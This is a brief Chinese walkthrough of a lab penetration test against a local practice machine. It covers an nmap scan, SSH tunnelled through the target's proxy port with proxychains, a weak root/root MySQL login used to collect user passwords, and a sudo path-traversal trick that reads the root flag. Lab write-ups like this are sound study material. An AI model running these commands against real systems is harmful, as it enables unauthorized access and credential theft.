该文章描述了一次渗透测试过程，首先对目标IP192.168.111.236进行了信息收集和端口扫描，利用nmap进行http枚举。接着，通过代理配置连接目标的SSH服务，尝试了弱口令登录MySQL获取其他用户密码。然后，使用用户sara的sudo权限查看root目录文件，最终通过flag.txt找到了root密码。
kali：192.168.111.111
靶机：192.168.111.236
信息收集
端口扫描
nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.236
绕过登录验证
得到用户账号密码
修改/etc/proxychains4.conf，把代理指向目标的3128端口
通过代理连接目标ssh
proxychains4 ssh john@192.168.111.236 -t "/bin/sh"
提权
使用弱口令：root|root，登录mysql，得到另外两个用户的密码
使用用户sara登录ssh
proxychains4 ssh sara@192.168.111.236 -t "/bin/sh"
sara的sudo权限
使用ls查看root家目录下的文件
sudo -u root /bin/ls /accounts/../root/
查看flag.txt，获得root的密码
sudo -u root /bin/cat /accounts/../root/flag.txt
扫一扫
297
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
